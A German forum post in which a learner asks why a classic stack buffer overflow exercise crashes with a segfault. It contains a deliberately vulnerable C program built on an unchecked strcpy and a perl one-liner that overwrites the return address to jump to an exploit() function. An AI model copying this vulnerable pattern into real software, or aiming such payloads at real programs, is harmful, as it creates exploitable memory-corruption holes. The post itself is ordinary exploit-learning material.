Einzelnen Beitrag anzeigen
Alt 09.12.09, 21:01   #1 (permalink)
ElBoxo
 
Registriert seit: 09.12.09
ElBoxo Leistung: Facit NTK
Likes: 0
Standard BOF Problem - Stackoverflow funzt nicht ._.

Hi,

habe ein kleines Problem, dass ich mir nicht erklären kann.
Also ich habe ne Funktion main, copy mit dem typischen strcpy
und exploit, nun muss man also über das array in copy() schreiben
bis zum Return Instruction Pointer und diesen dann mit der Adresse von
exploit() überschreiben.

Hier zur Übersicht der Sourcecode von vuln.c
vuln.c   
#include <stdio.h>
#include <stdlib.h>

void copy(char *string){
char vuln[8];
strcpy(vuln,string);
}

void exploit(){
printf("exploited");
}

int main(int argc, char *argv[]){

if(argc > 1){
copy(argv[1]);
}

}




müsste also folgendermaßen gehen:
./vuln `perl -e'{print "AAAAAAAAAAAAAAAAAAAA"; print "\x0e\x84\x04\x08";}'`
aber es kommt einfach nur ein "Speicherzugriffsfehler ohne die die
Konsolenausgabe in exploit()

Was soll ich nun machen? ._.

mfg,
Blackbox
ElBoxo ist offline   Mit Zitat antworten
 

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61